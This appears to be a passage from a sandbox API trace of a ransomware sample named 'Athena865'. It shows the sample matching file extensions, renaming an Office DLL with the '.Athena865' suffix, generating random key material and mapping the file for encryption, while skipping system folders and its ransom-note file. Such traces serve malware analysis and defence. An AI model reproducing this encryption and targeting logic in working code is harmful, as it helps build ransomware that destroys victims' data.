lstrlenW (lpString="zip") returned 3 [0087.615] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0087.615] lstrlenW (lpString="tgz") returned 3 [0087.615] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0087.615] lstrlenW (lpString="vbox") returned 4 [0087.615] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0087.615] lstrlenW (lpString="vdi") returned 3 [0087.615] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0087.615] lstrlenW (lpString="vhd") returned 3 [0087.615] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0087.615] lstrlenW (lpString="vhdx") returned 4 [0087.615] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0087.615] lstrlenW (lpString="avhd") returned 4 [0087.615] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0087.615] lstrlenW (lpString="db") returned 2 [0087.615] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0087.615] lstrlenW (lpString="db2") returned 3 [0087.615] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0087.615] lstrlenW (lpString="db3") returned 3 [0087.615] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0087.615] lstrlenW (lpString="dbf") returned 3 [0087.615] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0087.615] lstrlenW (lpString="mdf") returned 3 [0087.615] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0087.615] lstrlenW (lpString="mdb") returned 3 [0087.615] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0087.615] lstrlenW (lpString="sql") returned 3 [0087.616] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0087.616] lstrlenW (lpString="sqlite") returned 6 [0087.616] lstrcmpiW (lpString1="PP.DLL", lpString2="sqlite") returned -1 [0087.616] lstrlenW (lpString="sqlite3") returned 7 [0087.616] lstrcmpiW (lpString1="UPP.DLL", lpString2="sqlite3") returned 1 [0087.616] lstrlenW (lpString="sqlitedb") returned 8 [0087.616] lstrcmpiW (lpString1="SUPP.DLL", lpString2="sqlitedb") returned 1 [0087.616] lstrlenW (lpString="xml") returned 3 [0087.616] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0087.616] lstrlenW (lpString="$er") returned 3 [0087.616] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0087.616] lstrlenW (lpString="4dd") returned 3 [0087.616] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0087.616] lstrlenW (lpString="4dl") returned 3 [0087.616] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0087.616] lstrlenW (lpString="^^^") returned 3 [0087.616] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0087.616] lstrlenW (lpString="abs") returned 3 [0087.616] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0087.616] lstrlenW (lpString="abx") returned 3 [0087.616] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0087.616] lstrlenW (lpString="accdb") returned 5 [0087.616] lstrcmpiW (lpString1="P.DLL", lpString2="accdb") returned 1 [0087.616] lstrlenW (lpString="accdc") returned 5 [0087.616] lstrcmpiW (lpString1="P.DLL", lpString2="accdc") returned 1 [0087.616] lstrlenW (lpString="accde") returned 5 [0087.616] lstrcmpiW (lpString1="P.DLL", lpString2="accde") returned 1 [0087.616] lstrlenW (lpString="accdr") returned 5 [0087.616] lstrcmpiW (lpString1="P.DLL", lpString2="accdr") returned 1 [0087.616] lstrlenW (lpString="accdt") returned 5 [0087.616] lstrcmpiW (lpString1="P.DLL", lpString2="accdt") returned 1 [0087.617] lstrlenW (lpString="accdw") returned 5 [0087.617] lstrcmpiW (lpString1="P.DLL", lpString2="accdw") returned 1 [0087.617] lstrlenW (lpString="accft") returned 5 [0087.617] lstrcmpiW (lpString1="P.DLL", lpString2="accft") returned 1 [0087.617] lstrlenW (lpString="adb") returned 3 [0087.617] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0087.617] lstrlenW (lpString="adb") returned 3 [0087.617] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0087.617] lstrlenW (lpString="ade") returned 3 [0087.617] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0087.617] lstrlenW (lpString="adf") returned 3 [0087.617] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0087.617] lstrlenW (lpString="adn") returned 3 [0087.617] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0087.617] lstrlenW (lpString="adp") returned 3 [0087.617] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0087.617] lstrlenW (lpString="alf") returned 3 [0087.617] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0087.617] lstrlenW (lpString="ask") returned 3 [0087.617] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0087.617] lstrlenW (lpString="btr") returned 3 [0087.617] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0087.617] lstrlenW (lpString="cat") returned 3 [0087.617] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0087.617] lstrlenW (lpString="cdb") returned 3 [0087.617] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0087.617] lstrlenW (lpString="ckp") returned 3 [0087.617] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0087.617] lstrlenW (lpString="cma") returned 3 [0087.617] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0087.617] lstrlenW (lpString="cpd") returned 3 [0087.617] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0087.618] lstrlenW (lpString="dacpac") returned 6 [0087.618] lstrcmpiW (lpString1="PP.DLL", lpString2="dacpac") returned 1 [0087.618] lstrlenW (lpString="dad") returned 3 [0087.618] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0087.618] lstrlenW (lpString="dadiagrams") returned 10 [0087.618] lstrcmpiW (lpString1="ISSUPP.DLL", lpString2="dadiagrams") returned 1 [0087.618] lstrlenW (lpString="daschema") returned 8 [0087.618] lstrcmpiW (lpString1="SUPP.DLL", lpString2="daschema") returned 1 [0087.618] lstrlenW (lpString="db-journal") returned 10 [0087.618] lstrcmpiW (lpString1="ISSUPP.DLL", lpString2="db-journal") returned 1 [0087.618] lstrlenW (lpString="db-shm") returned 6 [0087.618] lstrcmpiW (lpString1="PP.DLL", lpString2="db-shm") returned 1 [0087.618] lstrlenW (lpString="db-wal") returned 6 [0087.618] lstrcmpiW (lpString1="PP.DLL", lpString2="db-wal") returned 1 [0087.618] lstrlenW (lpString="dbc") returned 3 [0087.618] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0087.618] lstrlenW (lpString="dbs") returned 3 [0087.618] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0087.618] lstrlenW (lpString="dbt") returned 3 [0087.618] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0087.618] lstrlenW (lpString="dbv") returned 3 [0087.618] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0087.618] lstrlenW (lpString="dbx") returned 3 [0087.618] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0087.618] lstrlenW (lpString="dcb") returned 3 [0087.618] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0087.618] lstrlenW (lpString="dct") returned 3 [0087.618] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0087.618] lstrlenW (lpString="dcx") returned 3 [0087.618] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0087.618] lstrlenW (lpString="ddl") returned 3 [0087.619] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0087.619] lstrlenW (lpString="dlis") returned 4 [0087.619] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1 [0087.619] lstrlenW (lpString="dp1") returned 3 [0087.619] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0087.619] lstrlenW (lpString="dqy") returned 3 [0087.619] lstrcmpiW (lpString1="DLL", lpString2="dqy") returned -1 [0087.619] lstrlenW (lpString="dsk") returned 3 [0087.619] lstrcmpiW (lpString1="DLL", lpString2="dsk") returned -1 [0087.619] lstrlenW (lpString="dsn") returned 3 [0087.619] lstrcmpiW (lpString1="DLL", lpString2="dsn") returned -1 [0087.619] lstrlenW (lpString="dtsx") returned 4 [0087.619] lstrcmpiW (lpString1=".DLL", lpString2="dtsx") returned -1 [0087.619] lstrlenW (lpString="dxl") returned 3 [0087.619] lstrcmpiW (lpString1="DLL", lpString2="dxl") returned -1 [0087.619] lstrlenW (lpString="eco") returned 3 [0087.619] lstrcmpiW (lpString1="DLL", lpString2="eco") returned -1 [0087.619] lstrlenW (lpString="ecx") returned 3 [0087.619] lstrcmpiW (lpString1="DLL", lpString2="ecx") returned -1 [0087.619] lstrlenW (lpString="edb") returned 3 [0087.619] lstrcmpiW (lpString1="DLL", lpString2="edb") returned -1 [0087.619] lstrlenW (lpString="epim") returned 4 [0087.619] lstrcmpiW (lpString1=".DLL", lpString2="epim") returned -1 [0087.619] lstrlenW (lpString="fcd") returned 3 [0087.619] lstrcmpiW (lpString1="DLL", lpString2="fcd") returned -1 [0087.619] lstrlenW (lpString="fdb") returned 3 [0087.619] lstrcmpiW (lpString1="DLL", lpString2="fdb") returned -1 [0087.619] lstrlenW (lpString="fic") returned 3 [0087.619] lstrcmpiW (lpString1="DLL", lpString2="fic") returned -1 [0087.619] lstrlenW (lpString="flexolibrary") returned 12 [0087.619] lstrlenW (lpString="fm5") returned 3 [0087.620] lstrcmpiW (lpString1="DLL", lpString2="fm5") returned -1 [0087.620] lstrlenW (lpString="fmp") returned 3 [0087.620] lstrcmpiW (lpString1="DLL", lpString2="fmp") returned -1 [0087.620] lstrlenW (lpString="fmp12") returned 5 [0087.620] lstrcmpiW (lpString1="P.DLL", lpString2="fmp12") returned 1 [0087.620] lstrlenW (lpString="fmpsl") returned 5 [0087.620] lstrcmpiW (lpString1="P.DLL", lpString2="fmpsl") returned 1 [0087.620] lstrlenW (lpString="fol") returned 3 [0087.620] lstrcmpiW (lpString1="DLL", lpString2="fol") returned -1 [0087.620] lstrlenW (lpString="fp3") returned 3 [0087.620] lstrcmpiW (lpString1="DLL", lpString2="fp3") returned -1 [0087.620] lstrlenW (lpString="fp4") returned 3 [0087.620] lstrcmpiW (lpString1="DLL", lpString2="fp4") returned -1 [0087.620] lstrlenW (lpString="fp5") returned 3 [0087.620] lstrcmpiW (lpString1="DLL", lpString2="fp5") returned -1 [0087.620] lstrlenW (lpString="fp7") returned 3 [0087.620] lstrcmpiW (lpString1="DLL", lpString2="fp7") returned -1 [0087.620] lstrlenW (lpString="fpt") returned 3 [0087.620] lstrcmpiW (lpString1="DLL", lpString2="fpt") returned -1 [0087.620] lstrlenW (lpString="frm") returned 3 [0087.620] lstrcmpiW (lpString1="DLL", lpString2="frm") returned -1 [0087.620] lstrlenW (lpString="gdb") returned 3 [0087.620] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0087.620] lstrlenW (lpString="gdb") returned 3 [0087.620] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0087.620] lstrlenW (lpString="grdb") returned 4 [0087.620] lstrcmpiW (lpString1=".DLL", lpString2="grdb") returned -1 [0087.620] lstrlenW (lpString="gwi") returned 3 [0087.620] lstrcmpiW (lpString1="DLL", lpString2="gwi") returned -1 [0087.620] lstrlenW (lpString="hdb") returned 3 [0087.620] lstrcmpiW (lpString1="DLL", lpString2="hdb") returned -1 [0087.621] lstrlenW (lpString="his") returned 3 [0087.621] lstrcmpiW (lpString1="DLL", lpString2="his") returned -1 [0087.621] lstrlenW (lpString="ib") returned 2 [0087.621] lstrcmpiW (lpString1="LL", lpString2="ib") returned 1 [0087.621] lstrlenW (lpString="idb") returned 3 [0087.621] lstrcmpiW (lpString1="DLL", lpString2="idb") returned -1 [0087.621] lstrlenW (lpString="ihx") returned 3 [0087.621] lstrcmpiW (lpString1="DLL", lpString2="ihx") returned -1 [0087.621] lstrlenW (lpString="itdb") returned 4 [0087.621] lstrcmpiW (lpString1=".DLL", lpString2="itdb") returned -1 [0087.621] lstrlenW (lpString="itw") returned 3 [0087.621] lstrcmpiW (lpString1="DLL", lpString2="itw") returned -1 [0087.621] lstrlenW (lpString="jet") returned 3 [0087.621] lstrcmpiW (lpString1="DLL", lpString2="jet") returned -1 [0087.621] lstrlenW (lpString="jtx") returned 3 [0087.621] lstrcmpiW (lpString1="DLL", lpString2="jtx") returned -1 [0087.621] lstrlenW (lpString="kdb") returned 3 [0087.621] lstrcmpiW (lpString1="DLL", lpString2="kdb") returned -1 [0087.621] lstrlenW (lpString="kexi") returned 4 [0087.621] lstrcmpiW (lpString1=".DLL", lpString2="kexi") returned -1 [0087.621] lstrlenW (lpString="kexic") returned 5 [0087.621] lstrcmpiW (lpString1="P.DLL", lpString2="kexic") returned 1 [0087.621] lstrlenW (lpString="kexis") returned 5 [0087.621] lstrcmpiW (lpString1="P.DLL", lpString2="kexis") returned 1 [0087.621] lstrlenW (lpString="lgc") returned 3 [0087.621] lstrcmpiW (lpString1="DLL", lpString2="lgc") returned -1 [0087.621] lstrlenW (lpString="lwx") returned 3 [0087.621] lstrcmpiW (lpString1="DLL", lpString2="lwx") returned -1 [0087.621] lstrlenW (lpString="maf") returned 3 [0087.621] lstrcmpiW (lpString1="DLL", lpString2="maf") returned -1 [0087.621] lstrlenW (lpString="maq") returned 3 [0087.621] lstrcmpiW (lpString1="DLL", lpString2="maq") returned -1 [0087.622] lstrlenW (lpString="mar") returned 3 [0087.622] lstrcmpiW (lpString1="DLL", lpString2="mar") returned -1 [0087.622] lstrlenW (lpString="marshal") returned 7 [0087.622] lstrcmpiW (lpString1="UPP.DLL", lpString2="marshal") returned 1 [0087.622] lstrlenW (lpString="mas") returned 3 [0087.622] lstrcmpiW (lpString1="DLL", lpString2="mas") returned -1 [0087.622] lstrlenW (lpString="mav") returned 3 [0087.622] lstrcmpiW (lpString1="DLL", lpString2="mav") returned -1 [0087.622] lstrlenW (lpString="maw") returned 3 [0087.622] lstrcmpiW (lpString1="DLL", lpString2="maw") returned -1 [0087.622] lstrlenW (lpString="mdbhtml") returned 7 [0087.622] lstrcmpiW (lpString1="UPP.DLL", lpString2="mdbhtml") returned 1 [0087.622] lstrlenW (lpString="mdn") returned 3 [0087.622] lstrcmpiW (lpString1="DLL", lpString2="mdn") returned -1 [0087.622] lstrlenW (lpString="mdt") returned 3 [0087.622] lstrcmpiW (lpString1="DLL", lpString2="mdt") returned -1 [0087.622] lstrlenW (lpString="mfd") returned 3 [0087.622] lstrcmpiW (lpString1="DLL", lpString2="mfd") returned -1 [0087.622] lstrlenW (lpString="mpd") returned 3 [0087.622] lstrcmpiW (lpString1="DLL", lpString2="mpd") returned -1 [0087.622] lstrlenW (lpString="mrg") returned 3 [0087.622] lstrcmpiW (lpString1="DLL", lpString2="mrg") returned -1 [0087.622] lstrlenW (lpString="mud") returned 3 [0087.622] lstrcmpiW (lpString1="DLL", lpString2="mud") returned -1 [0087.622] lstrlenW (lpString="mwb") returned 3 [0087.622] lstrcmpiW (lpString1="DLL", lpString2="mwb") returned -1 [0087.622] lstrlenW (lpString="myd") returned 3 [0087.622] lstrcmpiW (lpString1="DLL", lpString2="myd") returned -1 [0087.622] lstrlenW (lpString="ndf") returned 3 [0087.622] lstrcmpiW (lpString1="DLL", lpString2="ndf") returned -1 [0087.622] lstrlenW (lpString="nnt") returned 3 [0087.623] lstrcmpiW (lpString1="DLL", lpString2="nnt") returned -1 [0087.623] lstrlenW (lpString="nrmlib") returned 6 [0087.623] lstrcmpiW (lpString1="PP.DLL", lpString2="nrmlib") returned 1 [0087.623] lstrlenW (lpString="ns2") returned 3 [0087.623] lstrcmpiW (lpString1="DLL", lpString2="ns2") returned -1 [0087.623] lstrlenW (lpString="ns3") returned 3 [0087.623] lstrcmpiW (lpString1="DLL", lpString2="ns3") returned -1 [0087.623] lstrlenW (lpString="ns4") returned 3 [0087.623] lstrcmpiW (lpString1="DLL", lpString2="ns4") returned -1 [0087.623] lstrlenW (lpString="nsf") returned 3 [0087.623] lstrcmpiW (lpString1="DLL", lpString2="nsf") returned -1 [0087.623] lstrlenW (lpString="nv") returned 2 [0087.623] lstrcmpiW (lpString1="LL", lpString2="nv") returned -1 [0087.623] lstrlenW (lpString="nv2") returned 3 [0087.623] lstrcmpiW (lpString1="DLL", lpString2="nv2") returned -1 [0087.623] lstrlenW (lpString="nwdb") returned 4 [0087.623] lstrcmpiW (lpString1=".DLL", lpString2="nwdb") returned -1 [0087.623] lstrlenW (lpString="nyf") returned 3 [0087.623] lstrcmpiW (lpString1="DLL", lpString2="nyf") returned -1 [0087.623] lstrlenW (lpString="odb") returned 3 [0087.623] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0087.623] lstrlenW (lpString="odb") returned 3 [0087.623] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0087.623] lstrlenW (lpString="oqy") returned 3 [0087.623] lstrcmpiW (lpString1="DLL", lpString2="oqy") returned -1 [0087.623] lstrlenW (lpString="ora") returned 3 [0087.623] lstrcmpiW (lpString1="DLL", lpString2="ora") returned -1 [0087.623] lstrlenW (lpString="orx") returned 3 [0087.623] lstrcmpiW (lpString1="DLL", lpString2="orx") returned -1 [0087.623] lstrlenW (lpString="owc") returned 3 [0087.623] lstrcmpiW (lpString1="DLL", lpString2="owc") returned -1 [0087.624] lstrlenW (lpString="p96") returned 3 [0087.624] lstrcmpiW (lpString1="DLL", lpString2="p96") returned -1 [0087.624] lstrlenW (lpString="p97") returned 3 [0087.624] lstrcmpiW (lpString1="DLL", lpString2="p97") returned -1 [0087.624] lstrlenW (lpString="pan") returned 3 [0087.624] lstrcmpiW (lpString1="DLL", lpString2="pan") returned -1 [0087.624] lstrlenW (lpString="pdb") returned 3 [0087.624] lstrcmpiW (lpString1="DLL", lpString2="pdb") returned -1 [0087.624] lstrlenW (lpString="pdm") returned 3 [0087.624] lstrcmpiW (lpString1="DLL", lpString2="pdm") returned -1 [0087.624] lstrlenW (lpString="pnz") returned 3 [0087.624] lstrcmpiW (lpString1="DLL", lpString2="pnz") returned -1 [0087.624] lstrlenW (lpString="qry") returned 3 [0087.624] lstrcmpiW (lpString1="DLL", lpString2="qry") returned -1 [0087.624] lstrlenW (lpString="qvd") returned 3 [0087.624] lstrcmpiW (lpString1="DLL", lpString2="qvd") returned -1 [0087.624] lstrlenW (lpString="rbf") returned 3 [0087.624] lstrcmpiW (lpString1="DLL", lpString2="rbf") returned -1 [0087.624] lstrlenW (lpString="rctd") returned 4 [0087.624] lstrcmpiW (lpString1=".DLL", lpString2="rctd") returned -1 [0087.624] lstrlenW (lpString="rod") returned 3 [0087.624] lstrcmpiW (lpString1="DLL", lpString2="rod") returned -1 [0087.624] lstrlenW (lpString="rodx") returned 4 [0087.624] lstrcmpiW (lpString1=".DLL", lpString2="rodx") returned -1 [0087.624] lstrlenW (lpString="rpd") returned 3 [0087.624] lstrcmpiW (lpString1="DLL", lpString2="rpd") returned -1 [0087.624] lstrlenW (lpString="rsd") returned 3 [0087.624] lstrcmpiW (lpString1="DLL", lpString2="rsd") returned -1 [0087.624] lstrlenW (lpString="sas7bdat") returned 8 [0087.624] lstrcmpiW (lpString1="SUPP.DLL", lpString2="sas7bdat") returned 1 [0087.624] lstrlenW (lpString="sbf") returned 3 [0087.624] lstrcmpiW (lpString1="DLL", lpString2="sbf") returned -1 [0087.625] lstrlenW (lpString="scx") returned 3 [0087.625] lstrcmpiW (lpString1="DLL", lpString2="scx") returned -1 [0087.625] lstrlenW (lpString="sdb") returned 3 [0087.625] lstrcmpiW (lpString1="DLL", lpString2="sdb") returned -1 [0087.625] lstrlenW (lpString="sdc") returned 3 [0087.625] lstrcmpiW (lpString1="DLL", lpString2="sdc") returned -1 [0087.625] lstrlenW (lpString="sdf") returned 3 [0087.625] lstrcmpiW (lpString1="DLL", lpString2="sdf") returned -1 [0087.625] lstrlenW (lpString="sis") returned 3 [0087.625] lstrcmpiW (lpString1="DLL", lpString2="sis") returned -1 [0087.625] lstrlenW (lpString="spq") returned 3 [0087.625] lstrcmpiW (lpString1="DLL", lpString2="spq") returned -1 [0087.625] lstrlenW (lpString="te") returned 2 [0087.625] lstrcmpiW (lpString1="LL", lpString2="te") returned -1 [0087.625] lstrlenW (lpString="teacher") returned 7 [0087.625] lstrcmpiW (lpString1="UPP.DLL", lpString2="teacher") returned 1 [0087.625] lstrlenW (lpString="tmd") returned 3 [0087.625] lstrcmpiW (lpString1="DLL", lpString2="tmd") returned -1 [0087.625] lstrlenW (lpString="tps") returned 3 [0087.625] lstrcmpiW (lpString1="DLL", lpString2="tps") returned -1 [0087.625] lstrlenW (lpString="trc") returned 3 [0087.625] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0087.625] lstrlenW (lpString="trc") returned 3 [0087.625] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0087.625] lstrlenW (lpString="trm") returned 3 [0087.625] lstrcmpiW (lpString1="DLL", lpString2="trm") returned -1 [0087.625] lstrlenW (lpString="udb") returned 3 [0087.625] lstrcmpiW (lpString1="DLL", lpString2="udb") returned -1 [0087.625] lstrlenW (lpString="udl") returned 3 [0087.625] lstrcmpiW (lpString1="DLL", lpString2="udl") returned -1 [0087.625] lstrlenW (lpString="usr") returned 3 [0087.625] lstrcmpiW (lpString1="DLL", lpString2="usr") returned -1 [0087.626] lstrlenW (lpString="v12") returned 3 [0087.626] lstrcmpiW (lpString1="DLL", lpString2="v12") returned -1 [0087.626] lstrlenW (lpString="vis") returned 3 [0087.626] lstrcmpiW (lpString1="DLL", lpString2="vis") returned -1 [0087.626] lstrlenW (lpString="vpd") returned 3 [0087.626] lstrcmpiW (lpString1="DLL", lpString2="vpd") returned -1 [0087.626] lstrlenW (lpString="vvv") returned 3 [0087.626] lstrcmpiW (lpString1="DLL", lpString2="vvv") returned -1 [0087.626] lstrlenW (lpString="wdb") returned 3 [0087.626] lstrcmpiW (lpString1="DLL", lpString2="wdb") returned -1 [0087.626] lstrlenW (lpString="wmdb") returned 4 [0087.626] lstrcmpiW (lpString1=".DLL", lpString2="wmdb") returned -1 [0087.626] lstrlenW (lpString="wrk") returned 3 [0087.626] lstrcmpiW (lpString1="DLL", lpString2="wrk") returned -1 [0087.626] lstrlenW (lpString="xdb") returned 3 [0087.626] lstrcmpiW (lpString1="DLL", lpString2="xdb") returned -1 [0087.626] lstrlenW (lpString="xld") returned 3 [0087.626] lstrcmpiW (lpString1="DLL", lpString2="xld") returned -1 [0087.626] lstrlenW (lpString="xmlff") returned 5 [0087.626] lstrcmpiW (lpString1="P.DLL", lpString2="xmlff") returned -1 [0087.626] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\VISSUPP.DLL.Athena865") returned 64 [0087.626] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\VISSUPP.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\vissupp.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\VISSUPP.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\vissupp.dll.athena865"), dwFlags=0x1) returned 1 [0087.628] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\VISSUPP.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\vissupp.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0087.628] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=736608) returned 1 [0087.628] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0087.629] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0087.629] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519008 [0087.629] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518f80) returned 1 [0087.629] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0087.629] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0087.630] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb4060, lpName=0x0) returned 0x17c [0087.631] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xb4060) returned 0x2d50000 [0087.660] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518f80) returned 1 [0087.661] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0087.661] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0087.661] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0087.661] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0087.661] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0087.661] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0087.661] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0087.661] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0087.662] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0087.662] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0087.662] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0087.662] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0087.662] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0087.668] CloseHandle (hObject=0x17c) returned 1 [0087.668] CloseHandle (hObject=0x154) returned 1 [0087.668] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0087.668] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519008 | out: hHeap=0x4f0000) returned 1 [0087.668] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0087.671] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd2017280, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0xbcb68, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VISUTILS.DLL", cAlternateFileName="")) returned 1 [0087.672] lstrcmpiW (lpString1="VISUTILS.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0087.672] lstrcmpiW (lpString1="VISUTILS.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0087.672] lstrcmpiW (lpString1="VISUTILS.DLL", lpString2=".") returned 1 [0087.672] lstrcmpiW (lpString1="VISUTILS.DLL", lpString2="..") returned 1 [0087.672] lstrcmpiW (lpString1="VISUTILS.DLL", lpString2="windows") returned -1 [0087.672] lstrcmpiW (lpString1="VISUTILS.DLL", lpString2="bootmgr") returned 1 [0087.672] lstrcmpiW (lpString1="VISUTILS.DLL", lpString2="temp") returned 1 [0087.672] lstrcmpiW (lpString1="VISUTILS.DLL", lpString2="pagefile.sys") returned 1 [0087.672] lstrcmpiW (lpString1="VISUTILS.DLL", lpString2="boot") returned 1 [0087.672] lstrcmpiW (lpString1="VISUTILS.DLL", lpString2="ids.txt") returned 1 [0087.672] lstrcmpiW (lpString1="VISUTILS.DLL", lpString2="ntuser.dat") returned 1 [0087.672] lstrcmpiW (lpString1="VISUTILS.DLL", lpString2="perflogs") returned 1 [0087.672] lstrcmpiW (lpString1="VISUTILS.DLL", lpString2="MSBuild") returned 1 [0087.672] lstrlenW (lpString="VISUTILS.DLL") returned 12 [0087.672] lstrcpyW (in: lpString1=0x241e89e, lpString2="VISUTILS.DLL" | out: lpString1="VISUTILS.DLL") returned="VISUTILS.DLL" [0087.672] lstrlenW (lpString="VISUTILS.DLL") returned 12 [0087.672] lstrlenW (lpString="Athena865") returned 9 [0087.672] lstrcmpiW (lpString1="UTILS.DLL", lpString2="Athena865") returned 1 [0087.672] lstrlenW (lpString=".dll") returned 4 [0087.672] lstrcmpiW 